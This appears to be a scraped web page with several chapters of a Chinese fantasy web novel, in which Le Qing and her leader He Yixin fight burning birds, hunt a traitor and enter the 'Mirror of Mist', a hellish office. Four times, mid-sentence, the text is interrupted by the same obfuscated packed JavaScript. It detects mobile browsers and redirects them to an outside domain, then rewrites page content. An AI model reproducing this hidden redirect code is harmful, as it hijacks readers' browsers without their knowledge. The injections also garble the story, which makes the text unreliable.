忽然，又是“轰”地一声，无数只燃烧着的鸟从地底跃出，它们冲破土地的束缚，带着耀眼的火焰飞到空中，笼盖了整片土地，提前降下夕阳。 抑或是提前升起黎明。 “阿喀斯的火焰，就是源于六百多年前的一场大火。那场大火，烧死了这里的很多人。” 乐晴回过神来。 她的身后站着贺以辛，教堂也只剩一片残垣断壁，没有什么五彩的物质覆盖在外，也没有什么圣母雕像。 幻觉吗？ “贺队，我刚才好像看见了……” “看见了什么？” “我……” 贺以辛丝毫没有察觉，而她也好像只是走了个神。 乐晴小声说出口：“我好像看见了一场大火。” 贺以辛顿了一下，抬头看着那片废墟：“精神污染。作为大火的起源地之一，这里的精神污染比较严重，所以鲜有人来。” “……”那他还带她过来？ 乐晴悄悄点开自己的面板。 短短几天经历这么多事情，也没注意面板数值有没有变化。 【智力值：81；体力值：94；精神值：83；幸运值：98】 嗯？怎么其他数值都略有上涨，幸运值反而掉了？ 乐晴看着面板数值，不得其解。 贺以辛注意到乐晴的郁闷：“怎么了？” “没，没事。”乐晴回过神，关上面板，“贺队，你为什么带我来这里？” “为了告诉你，阿喀斯诞生于这里。还有，以后不管遇到什么，先通知我，不要为了命珠就不要命往上冲，不管是阿喀斯还是伊格纳乌斯之嗣，都很危险。” “哦……” 要不是因为太缺钱，她才不会这样呢。 不过话又说回来，这个世界上的怪物那么多，阿喀斯这种怪物危险程度又高，出现得也频繁，如果遇上都要找他，贺以辛岂不是很累？ “贺队，你会觉得累吗？” 根据姚芸方告诉她的，还有她看见的，贺以辛作为安全部的负责人，更是指挥部的领导者，是整个世界的管理者。 在这个乱七八糟的世界里，他什么都要管。 乐晴想，文明世界的管理者或许不需要太操心，但在文明尚未开化的世界里，管理者要考虑的就多了，医疗、法律、政治体系、经济、教育……太多了，一切被摧毁得差不多之后，这些都要重建，更何况这里还有数不清的怪物不定时攻击这里，好不容易才重建的秩序霎那间就被再度毁灭。 是个人都会崩溃。 那场浩劫之后，贺以辛还能坚持到现在，已经很不容易了。 贺以辛沉默了很久，久到乐晴以为一句话给他问破防了，不愿意回答了。 “会。” “嗯？” 声音太轻微，乐晴没听清。 “会。”贺以辛只是回答了这个问题，但并没有继续说下去，“走吧，回去。” “就结束了？” “结束了。”贺以辛召出跑车，打开车门，“今天本来也只是带你了解一下日后要对付的怪物，不用你打。” 贺以辛忽然停下，扔给乐晴一串命珠：“对了，你的加班费。” 乐晴看着眼前发光的五颗命珠，瞪大眼睛：“贺队，加班费这么多？” 乐晴反应过来：“可是今天不是周一，工作日啊。” “已经放你回去休息了，又叫你过来，也算加班。” 贺以辛没有停顿，发动汽车，朝天际飞去。 乐晴看着贺以辛的侧脸，对他的尊敬又多了一丝。 是一个好老板！ 至少目前还是。 乐晴脑子里憋了一堆彩虹屁，打算用儿童心理学的方式哄哄贺以辛，以便为自己从上司手中争取到更多利益，可一句话都还没说出口，贺以辛接通了连接随身空间和车载通讯的电话。 “喂，贺队，出事了！” - 乐晴和贺以辛赶到山洞的时候，只剩李茉子一个人守着洞口，姚芸方和丁凡都不知所踪。 李茉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271277|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子一只手捂着肩膀，一只手拿着火枪，对准即将倾巢而出的阿喀斯鸟。 她的衣服似乎被血染透了，鲜红的血液顺着滴下，浓烈的血腥味让阿喀斯鸟更加兴奋了，挥动的翅膀发出很大的声音，卷起的风吹得让人忍不住后退。 “他们呢？” 李茉子扶着石壁，深吸一口气，试图让自己保持理智：“第七小组申请支援，我看这边解决得差不多，就让他们过去了。” 李茉子以为她一个人就能解决这里的问题，所以让其余两人去支援第七小组，但是出了意外。 阿喀斯鸟不知道为什么突然暴起，她一个人无法对抗这么多身带火焰的怪物，意外受伤，只能守着洞口阻止阿喀斯鸟突破这一道防线，同时呼叫救援。 现在的情况是…… 乐晴很难描述现在的场景。 野猪林里，是黑色的天，墨绿色的密林，发光悬浮的孢子。 这里，是橙灰色的土地，赤红色的天。 贺以辛的脸色很难看。 “贺队，现在该怎么办？”乐晴试图缓和气氛。 至少先让李茉子去包扎一下吧？虽然现在看着，她的肩膀已经没有继续流血了，但衣服都被鲜血浸湿了，肯定伤得不轻。 “你觉得呢？” 突然被反问回来，乐晴愣了一下，回答他：“先让茉子简单处理一下伤口……医疗部的人能过来吗？不能的话送茉子回金字塔疗伤……” “然后呢？” “然后，去找芸方他们。” “不对。”贺以辛摇头，“第一步，呼叫支援。” 没等乐晴行动，贺以辛对着随身空间的通讯一顿操作，估计是发送了什么信号出去。 贺以辛收回随身空间，确认李茉子的情况：“还清醒吗？” “血已经止住了，意识清晰，具备行动能力。” 贺以辛点头：“你尽快回金字塔治疗。刚接到通知，一队进入迷雾之镜执行任务的成员受到严重的精神污染，理智丧失，攻击力异常增强，医疗部的人分身乏术，恐怕来不了。” 李茉子点头，随即召出自己的车。 看着李茉子离开，乐晴看着挤在洞口，对外面的气息虎视眈眈的阿喀斯鸟，试探性问道：“贺队，那现在……杀鸟？” 贺以辛点头：“用火枪。” 既然能用火枪，那之前为什么不用，而是拿着匕首刺？ 乐晴不懂。 但是乐晴照做。 乐晴拿起李茉子留给她的火枪，对准洞口，按下把手。 接近紫色的火焰从管道射出，像在野猪林里看到的游荡的孢子一样，火焰化成淡紫色的光点，像铁屑吸附上磁铁一样，密密麻麻包裹住阿喀斯鸟。 淡紫色的光点蠕动着渗入阿喀斯鸟的羽毛，点燃了它们。 乐晴只听见类似咀嚼食物的声音，不一会儿，被光点包裹住的那些阿喀斯鸟就消失不见了。 淡紫色的光点吃饱之后，悄悄消失在空中。 阿喀斯鸟被那些光点吃掉了？！ 乐晴看着这诡异的一幕，那些没有被光点吃掉的鸟也一起观看着这一幕。 15. 内鬼 那些光点究竟是什么？ 在地铁里，它们是可以清除污染源的“清洁剂”，在野猪林，它们是逃逸的生命，在山洞，它们是吞噬生命的怪物。 它们看上去一模一样，可是功能完全不同。 等一下—— 乐晴猛地回头：“贺队，命珠呢？” “火枪是最简单、有效的武器，可以快速消灭这种数量多且成群分布的怪物，但是也有一个问题——杀伤力太大，怪物的命珠也会被一起烧毁。” “……” 不早说。 乐晴心疼地看着什么都没留下的阿喀斯鸟，默默停下火枪。 “贺队，那我用杀猪刀或是双管枪是不是也可以？” “可以。” 乐晴默默叹了一口气，收好火枪，转而换上双管枪。 双管枪的子弹射出，精准命中阿喀斯，阿喀斯身上橙红的火焰闪烁了一下，子弹带出火星，穿透鸟身。 一颗命珠随之出现。 枪不愧是热武器，干活的效率奇高，一转眼，乐晴的面前就飘满了命珠。 可是……乐晴看了一眼双管枪。 太浪费子弹了，乐晴转而换了杀猪刀。 用刀只能近战，受伤的风险更高，但是秉持着节约资源的环保理念，同时储备弹药，以免后续需要的时候弹药库空虚，还是用杀猪刀吧。 而且，就她看来，这些阿喀斯鸟的攻击力好像一般，并没有贺以辛说的那么可怕。 杀猪刀的刀刃很锋利，刀剑贯穿阿喀斯之后迅速抽出，被带出的血液还来不及溅到她的身上，就和整具躯体一起化作命珠，静静漂浮在空中。 - 回到金字塔，乐晴也算赚得盆满钵满。 相比于砍野猪、采蘑菇，还是捉小鸟的收益更高，把他们堵在山洞里，简直是瓮中捉鳖，轻而易举。 “去找黎楷期拿点弹药吧，今天消耗得有些多，要时刻注意自己的但要储备。” “是。” 黎楷期就是贺以辛从先知嘴里救下来的那个人。 所以，说起来，乐晴还是挺想见一见这个人的。 按理说，先知这一类人物都是仙气飘飘那一款，或者白发苍苍，总之，不会很大块头，所以，能被先知抓着差点吃了的，肯定也是个小花生米。 让这样的人看管资源库，真的靠谱吗？还是说，他有什么绝技？ 乐晴拐过墙角，看见前面有一个鬼鬼祟祟的背影。 “背影”微弓着，蹑手蹑脚从黎楷期的办公室出来，从另一边走。 难道是偷了什么东西，想偷溜出去？ 乐晴悄悄跟在后面，顺便准备好联系贺以辛。 “背影”打开厚重的铁门，走进了空荡的通道。 乐晴卡住铁门，透过铁门的缝隙看“背影”走进了前面的拐角，这才从缝隙溜了进去。 通道里响起渐远的回声。 - “贺队，草地后山那边的一块聚居区出现异变，它们袭击了当地居民。” “现在情况怎么样？” 刚从现场回来通报情况的队员投放一段视频。 投影里，绿草茵茵中躺着几具尸体，诡异的是，他们的身体扭曲，面部惊恐，好像死前经历过什么非人的虐待，骨头碎成一小节一小节，全靠皮肉兜在一起，双眼圆睁，瞳孔已经扩散、发白，眼球充血。 很快，投影被一团一团的马赛克覆盖，安全部的人带着武器赶来。 马赛克糊着画面，只能听到一阵开枪的声音。 喧嚣过后，马赛克消失，画面里多了几颗命珠，尸体更加残缺不全。 “死亡九人，轻伤十七人，重伤四人。”队员把报告单交给贺以辛，“还有一件事……” 队员手里攥着什么东西，迟迟不敢给贺以辛。 “有事直说。” 把这个案件归档，贺以辛还有更重要的事情去做。 “贺队……”队员心一横，把手中的徽章放在贺以辛面前，“贺队，在后山捡到了这个。” 一枚金色的，盾牌形状的徽章，上面有凸起的花纹，是一颗六芒星，六芒星两边是对称的面具——丁凡刚进指挥部的时候，贺以辛给他的。 这枚徽章，指挥部的人都有一枚类似的，不过每个人的徽章的细节不一样，比如贺以辛的徽章上不是六芒星，而是一名高举重剑的骑士，骑士下方有八颗很小的六芒星。 贺以辛的徽章是先知给他的。 在其他队员进指挥部之前，先知的状态就已经开始不对劲了，他直到自己迟早会失控，所以提前制作了这些徽章，交给贺以辛，再由贺以辛交给后来的人。 贺以辛皱眉：“这不是丁凡的徽章吗？” 因为是先知给的，所以大家都很重视。 徽章丢了，说明出事了。 贺以辛抓起徽章站起来：“后山捡到的？” “是。” “怎么现在才说？”贺以辛通过随身空间联系不上丁凡和姚芸方，把文件全部收好往外走，“一分队第七小组回来没有？” 安全部一共十个分队，每个分队又有十个小组，每天每个小队的任务很多，不会每个任务完成归来都会给贺以辛打报告。 一般来说，小组任务完成归来会先给小队队长打报告，小队队长在一天快结束时再汇总报告给贺以辛。 “不知道。” 李茉子说，丁凡和姚芸方一起去支援第七小组了。 如果第七小组已经回来了，那丁凡和姚芸方也该回来了才对。 “我知道了，你回去吧。” 当务之急是找到第七小组的人，确认丁凡和姚芸方的情况。 - 空荡的通道内，乐晴踩在地上难免发出轻微的声音，可再轻微的声音也会在这个空间内有回声。 乐晴心一横，退回铁门，打算走来时的路回去，堵在唯一可以离开这层楼的地方。 “背影”迟早要离开。 乐晴轻轻合上铁门，然后拔腿狂奔。 难不成这个金字塔里真的有内鬼？ 乐晴不忘为贺以辛担忧。 这个世界太复杂了，金字塔的事务又多又繁琐，贺以辛不光要管理，还要自己去杀怪、带人，这再冒一个内鬼出来，怕是乱上加乱。 可一般内鬼都是作为敌对方出现，金字塔的敌对方是谁？ 来不及更进一步思考这些问题，乐晴撞进了一个人的怀里。 乐晴差点被坚硬的胸肌撞歪鼻子，踉跄着后退两步，眼含热泪揉着鼻子。 “你还好吧？” 乐晴一边摇头一边摆手，也不管自己的鼻子了，绕开他就要继续往前跑。 她不确定那边的通道有多长，万一迟了，她可能得直接去告诉贺以辛这件事。 后面的人挠挠头。 这算肇事逃逸吗？她是肇事者还是他是肇事者？ 现在是肇事者逃逸，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271278|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是受害者逃逸？ - 乐晴气喘吁吁赶到出口处的时候，正好遇上一个佯装正经的人走出来。 嗯？怎么是她？ “背影”看见乐晴，有些意外：“是你啊！怎么……看样子，你在找我？” 乐晴迟疑地点头。 “我……都看见了……” 直接戳穿会出事的吧？但至少这是在金字塔内，这一层是安全部的地盘，她应该不会乱来。 “看见了？！” “背影”大惊失色，小跑着过来抓起乐晴的手：“你跟我来。” 乐晴有些不敢。 去哪儿？ 难道她要以身入局，诱导她露出破绽？ “背影”没有把乐晴带到什么隐蔽的地方，只是把她拉到了角落里，紧张兮兮地恳求她：“你可千万别把我往黎楷期水杯里加青苹果汁的事情往外说啊！” “啊？” 所以，宁言柯鬼鬼祟祟从黎楷期的办公室里跑出来，就是因为悄悄往他的水杯里加了青苹果汁？ 这不会是她欲盖弥彰的借口吧？ 乐晴仔细盯着宁言柯看，也不像在撒谎啊，看来得去找黎楷期确认一下。 乐晴笑着否认：“放心吧，我不会的。不过，宁组长，你为什么要往他的水杯里加青苹果汁？” “谁让他上次非拉着我搞什么辩论赛的，说什么变化即永恒，新旧交替是客观规律，浪费了我大半天，还差点给我洗脑。”宁言柯解释着，忽然看见贺以辛从指挥部下来，立刻严肃起来，“贺队。” 乐晴转头，看见脚步匆忙的贺以辛。 “言柯，丁凡和姚芸方跟你一起回来了吗？” “丁凡和姚芸方？”宁言柯摇头，“我没见过啊。” “没见过？”轮到乐晴震惊了。 李茉子不是说，丁凡和姚芸方去支援第七小组了，如果真的去了，宁言柯怎么会没见过？ 乐晴忽然后背发凉。 宁言柯不会说谎，因为第七小组的人都是证人，除非把他们全灭口，否则她瞒不过去。 “贺队，他们没回来吗？” “没有。” 现在看来，金字塔里真的有内鬼，而且出自指挥部。 “乐晴，跟我走。” 乐晴立刻跟上：“贺队，我们去哪儿？” “贫民区。” - 后山，乐晴和贺以辛遇见的地方。 这里和她第一次来时没什么区别，只是现在的天黑了。 满山都是绿茵草地，微风吹过，还能嗅到青草的味道。 还有—— 血腥味。 乐晴骤然睁开眼，又嗅了一下。 “贺队，那边有血腥味！” 贺以辛打着灯，顺着乐晴指的方向往前走，乐晴老实跟在后面。 没走多远，他们看见了血腥味的来源——躺在地上的丁凡 丁凡的衣服被血染透，倒在地上不省人事，而姚芸方不知所踪。 “贺队，我带了医疗箱……”乐晴也不知道丁凡是不是还活着，但是她带了医疗箱，至少可以先试一下。 贺以辛没有回应。 “贺队？”乐晴往前一步。 只是眨眼的功夫，乐晴眼前的场景却突然变换，草地变成了流动的光河，而她正踏在光河之上，贺以辛也不见了。 乐晴耳边响起一道声音： 【欢迎进入迷雾之镜】 16. 混凝土牢笼（一） 迷雾之境？ 她怎么莫名其妙就进来了，难道不应该是攒够了命珠和命珠碎片，然后再进来吗？ 乐晴手忙脚乱打开面板，又打开随身空间。 加起来也就能兑换十六块砖头，八百万。 “统子哥，你在吗？” …… 不在。 乐晴垂头丧气地坐在光河上，顺手捞了一把。 光河像银河一样，里面没有水，只有流淌的光点。 是水，是清洁剂，是生命。 光点像水一样从她的指缝溜走。 下一步该去哪儿？ 乐晴有些迷茫地站起来。 这个迷雾之境，有没有什么任务指引啊？ 【滴——检测到挑战者进入，任务分配中——】 【你的任务：顺利升职，解雇老板。】 ？ 乐晴更茫然了。 什么意思？迷雾之境不是兑换砖头的地方吗，怎么变成打副本了，还是现实倾向的副本？ 顺利升职？解雇老板？这两句话连在一起怎么那么难懂呢？而且这意思，是说要让她重回职场的意思？ 不要！ 任务刚刚发布，光河里的光点分散开，围绕着一个黑洞一样的圆，这个圆突然开始将她往河底拉扯，而乐晴几乎是手脚并用对抗着光河的引力，只可惜无济于事。 没有人可以从“黑洞”中逃逸出来，没有人可以对抗引力。 被吸入“黑洞”之后，乐晴失去了一切感觉，感觉不到时间，感觉不到空间，感觉不到自己的存在，好像被扔进了无垠的宇宙。 但是她还残存一丝意志。 然而意志在扭曲的时空中变得混乱，就好像摘下来的棉花被做成衣服，然而衣服是残次品，工人又把这些残次品拆开，把能二次利用的棉塞进毛绒玩具的肚子里，把再也没有用处的棉扔进回收站，而又有人把没有用处的棉分开，一些用来做成商品，一些被焚烧。 不管是衣服、毛绒玩具、商品还是被焚烧的灰烬，都是她。 乐晴能感知到自己有大脑、有双腿、有双臂、有躯体，可是这些部位都是混乱地飘荡在太空中，被来自各个方向的引力拉扯着，就连她的意志都被撕成碎片，一些在想孤儿院的事情，一些游荡在初中上学的路上，一些在回忆高中的考试，一些奔走在大学的校园…… 人的一生不算长。 根据一些记载，最初的人的寿命长达九百多岁，比如亚当、玛土撒拉，只是后来的洪水席卷大陆，或许是因为得罪了神，或许是因为一些其他的原因，人类的寿命逐渐缩短。 而乐晴甚至刚出大学没几年。 可为什么记忆那么多？大学为了学分给学生会会长当牛做马，高中为了一道题熬到凌晨……就连在孤儿院的时候，被围栏外的小朋友投喂一颗巧克力的事情都记得。 “喂，醒醒，今天的两万字写完了吗，就睡觉，信不信我炒了你？！” 吵什么吵…… 乐晴的感知回笼，分散在太空中的组织也奔向“龙骨”，组成完整的乐晴。 乐晴撑起脑袋，眼睛被刺眼的白光刺激了一下，忍不住眯起来。 白色的桌面，被盘包浆了的黑色GW键盘，旁边黑色的鼠标，还有画质堪忧的电脑屏幕，打开的文档里只有几行…… 乐晴猛然睁开眼。 文档里的哪里是字，而是跳动的马赛克光点。 光点组成的马赛克只有一个字符大小，五十个光点组成几行马赛克，在屏幕上跳动着。 一个字都看不出来。 “疯啦？”叫醒乐晴的人拍了一掌桌子，“睡迷糊了？问你话呢，五万字的稿子写完了吗？” 五万字的稿子？什么稿子？ 乐晴回头，看见后面那人的脖子上挂着蓝色的工牌，工牌上是他的照片、姓名和职位。 [臭柿仔文化科技有限公司，文化输出部经理，张召] 一个脸大五官小，秃顶，大腹便便的中年男人。 乐晴又看见背后工位上挂了一张铭牌，上面写着： [臭柿仔文化科技有限公司，文化输出部，邹新伊] 那她是？ 乐晴回头，从工位边沿抽出自己的铭牌。 [臭柿仔文化科技有限公司，文化输出部，乐晴] 所以，她是这个公司文化输出部的员工，而这个张召，就是她的上司。 乐晴忽然想起来她的任务：顺利升职，解雇老板。 升职，要升到什么程度，组长还是经理？ 她又要怎么解雇老板？ 乐晴打量着这个经理。显然，张召只是她的上司，而不是老板。 “看什么看，不想干了？！” 乐晴差点被张召喷了一脸口水，默默带着办公椅挪得远了些，顺手把铭牌放回去。 “经理，我要工作了。” 乐晴想先离这个“污染源”远一点。 张召被呛了一回，似乎没有立刻想到回应的方法，嘴里不知道念叨着什么，背着手离开了。 看到张召走开，乐晴立刻转头找背后工位的同事。 “下午好，今天过得怎么样？” 那个叫邹新伊的女生抬起头，把乐晴吓了一跳。 邹新伊的双眼下挂着大大的黑色眼袋，眼神空洞，头发凌乱，加了半个月的班估计都成不了这个样子。 看起来，她今天过的不怎么好。 “你……多久没回家了？” “一，二，三……”邹新伊低头掰着手指，掰了半天，“二十三……” “二十三个小时，还是二十三天？” 邹新伊盯着乐晴的嘴唇，摇了摇头：“不记得了。” “……”敢情是加班加傻了。 “那我能问一下，我们的工作内容是什么吗？” 邹新伊痴痴地盯着乐晴看了半天，久到乐晴以为这个“工作机器人”死机了，她这才慢吞吞从抽屉里拿出来一本厚厚的书，递到乐晴面前。 乐晴接过书一看，发现这不是什么书，而是《文化输出部工作条款》。 这家公司、这个部门的工作条款。 乐晴拿着书转回工位，打开能拍死上司的工作条款，按照目录直接翻到工作内容。 “第一条，每人每天需要完成五万字的小说创作，如当天未能完成，则追加十万字惩罚……” 所以，这家公司所谓的“文化输出”，其实就是写小说。 一天五万字，如果完不成就要在补齐的基础上再写十万字……这是什么人间牛马，难道大家都不反抗的吗？反抗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271279|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了，离职也行啊。 难道这里没办法离职？ 乐晴抬头环绕四周。 挤得满满当当的办公室里，只有键盘啪嗒声和主机嗡嗡声，所有人都在顶着鸡窝头在打字，没有一个人关注乐晴的小动作。 于是，乐晴光明正大走了出去。 走出办公室之前，乐晴不忘回头偷偷瞄了一眼邹新伊的电脑屏幕。 闪烁的屏幕上，跳动着七个字符，任凭邹新伊怎么继续打字，不断出现新的色块组成马赛克，可是马赛克只是堆叠在一起，让原本的文字更加模糊，就好像他们的生活，而文档上的字符怎么也没有多出一个来。 永远也打不出下一个字符的文档，永远也无法完成的工作任务，永远也没有办法下的班。 他们成为耗材，被困在这里，直到腐朽，直到下一批耗材满怀憧憬地接替他们的岗位。 - 乐晴坐电梯来到一楼。 “叮”！ 乐晴从电梯里走出来，六米的挑高层只有八台电梯，往左是大理石墙，往右是闸机，闸机外站着六个保安，他们目光灼灼盯着乐晴。 乐晴在闸机的人脸识别系统前对了半天，系统总是弹出“非法闯入人员”的红色警告，而守在外面的保安一手插兜，好像就要对乐晴动手。 有没有搞错，哪里有人是从闸机内部非法闯入的？ 还有这几个保安，他们兜里是有枪吗，这么警戒？ 还真有可能……乐晴差点忘了，这是在迷雾之境。 乐晴从兜里掏了半天，终于找到了工牌。 [臭柿仔文化科技有限公司，文化输出部，乐晴] 乐晴把工牌放在闸机上，闸机依然重复着“非法闯入人员”的红色警告。 眼看着保安就要一拥而上，乐晴当机立断躲进电梯。 保安皮鞋敲打地面的声音越来越近，乐晴拼命按电梯关门键。 电梯门缓缓关上，保安举着枪已经到了门口，漆黑的洞口对准了她。 终于……在保安扣动扳机前，电梯门关上，开始缓缓上升。 乐晴靠在梯厢，松了一口气。 身体放松下来，乐晴一阵后怕，不由得想，如果死在迷雾之境会怎样，彻底死去吗？如果是魂穿，说不定还能出去，但如果是身穿……那应该是彻底死了。 到底是身穿还是魂穿？在地铁站的时候，她是不是也死在了里面？还是在死前被判定任务成功，所以活了下来？ 一切猜测都是虚的。 靠着混乱的世界和她贫瘠的大脑，完全无法推理出完整的世界观，她只能连蒙带猜，十分警备。 看着电梯显示屏的数字不断跳动，乐晴还是回到了六楼——文化输出部所在的楼层。 “叮！” 电梯门缓缓打开，门外站着一个还算是熟悉的人。 如果把迷雾之境当作副本，这算什么，多人副本？ 不过系统也的确没有说迷雾之境可不可以多人一起进入。 “乐晴？” 电梯外的人也有些惊讶。 丁凡穿了一件格子衬衫、一条灰西裤站在电梯外，手里还拿着一叠文件。 乐晴刚想往外迈的腿忽然停住。 这个丁凡，是真的丁凡，还是迷雾之境生成的幻相？ 17. 混凝土牢笼（二） 看样子，丁凡拿着文件是要进电梯。于是，乐晴巧妙地绕着丁凡，和他交换了一个位置。 丁凡挡着电梯门：“乐晴，你就在这里等我一下，我去一趟楼上，马上下来。” 虽然她不确定这个丁凡是真是假，但是她需要一个能正常交流的人，需要通过对方获取关于迷雾之境和这个地方的信息，而不是像一个无头苍蝇一样到处乱撞。 显然，丁凡就是那个能正常交流的人。 乐晴表面微笑点头，实际上看着电梯上升的楼层：18楼。 趁着电梯还没下来的功夫，乐晴跑回办公室，找到邹新伊：“新伊姐，你知道18楼是哪个部门吗？” 邹新伊还是那副丢了魂的样子，手指机械地打着键盘，屏幕上却一个新的字符都没有出现。 乐晴觉得奇怪，扫了一眼其他人的屏幕，都是那样，闪烁着的只有七个马赛克字符。 就这种永远干不完的机制，他们能下班就见鬼了。 “18楼……”邹新伊的大脑好像接收到什么可怕的信息，她惊恐地瞪大眼睛，死死抓住乐晴的手腕，很久没修剪过的指甲简直要刺进她的血肉。 乐晴抽出手，耐心地安抚她：“新伊姐，我只是问问，你别激动。” “总裁办，那是总裁办的楼层！” 总裁办？也就是真正的老板所在的楼层。 在现实里，炒掉老板肯定是不可能的，但是在这个世界里，炒掉老板应该没问题。 人死了，也就自动从这家公司离职了，也算是某种意义上的解雇老板。 至少比不切实际的顶替掉老板的位置来得容易，毕竟有些东西只靠血液传播。 乐晴想好了离开这里的办法，而邹新伊好像彻底失去了理智，双腿蜷缩在胸口，双手开始撕扯自己的头发，前后摇摆着。 乐晴阻止她继续撕扯头发的手。 “新伊姐，你先冷静一下。” 可是不管她怎么安抚，邹新伊的耳朵好像闭了起来，什么也听不到，程序化一样伤害着自己。 虽然乐晴现在精神还算稳定，但邹新伊崩溃的状态难免会影响到她，她也感觉曾经的记忆席卷而来，简直要淹没她仅剩不多的理智。 乐晴发誓，她这辈子最不想回到的就是在办公楼工作的那段时间，甚至比在孤儿院的时候还要痛苦得多。 为了不被邹新伊的情绪影响，乐晴没办法，把她的手抽出来放到键盘上。果然，邹新伊的手条件反射一样开始打字，人也不神神叨叨了，双腿放了下去，眼睛重新盯着电脑屏幕，继续打字，即使一个字符也不会增加。 疯了，简直是疯了。 上班竟然变成了安抚打工人的方式。 - 回到电梯区的时候，丁凡还没有下来。 乐晴忍不住猜测，丁凡去总裁办干什么？他是哪个部门的人？ 迷雾之境到底是什么地方，它可以读取外面世界的剧情吗？不然，如果这个丁凡是假的，他怎么知道她的信息？ 太多不理解。 乐晴进迷雾之境太仓促了，还没来得及找贺以辛问清楚里面的情况，还没有准备足够多的命珠，就莫名其妙被拉进来了。 “叮！” 电梯门缓缓打开，丁凡从里面大跨步出来。 “乐晴，我们去茶水间说一下现在的情况。” 乐晴默默把杀猪刀藏在衣袖里，跟在丁凡身后。 这家公司的茶水间不远，没走几步就到了。 茶水间没有门，是开放式的，靠墙一排有一台直饮水系统和七台咖啡机。 不正常。 但是更不正常的是，这里的直饮水系统和咖啡机都可以运转，但是没有人过来喝。 丁凡好像丝毫不在意这些异常，开门见山：“乐晴，你怎么也进来了？” “我不知道啊。”乐晴无奈，她的确不知道为什么会进来，于是直截了当问丁凡，“进入迷雾之境的方法是什么？” “迷雾之镜，其实就是镜子里的空间，你可以想象成，一片被迷雾笼罩着的里世界，跟我们生活的世界有连接，但是平时看不到。至于进入的办法——”丁凡叹了一口气，“野猪林，贺队带你去过的。贺队应该跟你说过，野猪林的精神污染很严重，浓度趋近于饱和，就是这样的地方，才会出现迷雾之镜的入口。迷雾之镜的入口，是一面镜子。” “镜子……”乐晴恍然大悟。 她以为是“迷雾之境”，迷雾中的一个区域，可照丁凡的说话，应该写作“迷雾之镜”。 所以，要进入迷雾之镜的办法其实就是进入精神污染浓度高的地方，比如野猪林，找到象征迷雾之镜入口的镜子，进入它。 可是乐晴是怎么进来的？ 她和贺以辛发现了丁凡浑身是血地躺在地上。 “芸方姐呢，你们当时发生了什么？” 他们赶到的时候，地上只躺着丁凡一个人，而姚芸方不知所踪。 “芸方……”丁凡忽然沉默，低下头，眼神有些躲避。 乐晴有些着急。 金字塔里有内鬼啊。 如果宁言柯能排除，那就还剩三个人——李茉子、姚芸方、丁凡。 “我不知道。” “不知道是什么意思？” 姚芸方是和他一起离开的。 丁凡抹了一把脸，似乎很不想说出真相。 乐晴堵着他出去的路。 “丁凡哥，不管发生了什么，你告诉我，这很重要。” “好吧……不过，乐晴，你答应我，出去之后，你不可以跟任何人说这件事，包括贺队。” “好。”说不说也得先知道。 “是她打伤了我。” 姚芸方，打伤丁凡？ 李茉子说姚芸方和丁凡去支援第七小组，可是宁言柯说没有接到支援。 现在有三种情况。 第一，姚芸方是那个内鬼。没有所谓的支援，她支开李茉子只是为了伤害丁凡。可为什么没有直接杀了他，而是把他打伤？ 第二，丁凡是那个内鬼。他伤害了姚芸方，然后把自己伪装成受害者。 现在找不到姚芸方人，无法对证。 当然，还有第三种情况，李茉子才是那个内鬼。 “可是……不是说进入迷雾之镜需要找到镜子吗，你被打伤，是怎么进来的？” “我也不知道，或许还存在我们尚未知道的进入迷雾之镜的方法。”丁凡揉了揉头发，他已经快和邹新伊一样的状态了。 “丁凡哥，你进来多久了？” “刚进来就收到送文件的工作。” 也就是说，他和乐晴差不多是同一时间进来的，而乐晴在办公室了解了部分工作内容、试图离开这栋办公楼，所以丁凡甚至比她来得要更晚。 当时在后山只有她、贺以辛和丁凡三个人，现在三个人进来了两个人，贺以辛是不是也可能进来了？ “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271280|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁凡哥，迷雾之镜可以两人及以上一起进入吗？” “问题就出在这里。”丁凡也疑惑，“以往，迷雾之镜都是单人本，就算同时进入也会被分配到不同的地方，为什么我们会出现在一起？” 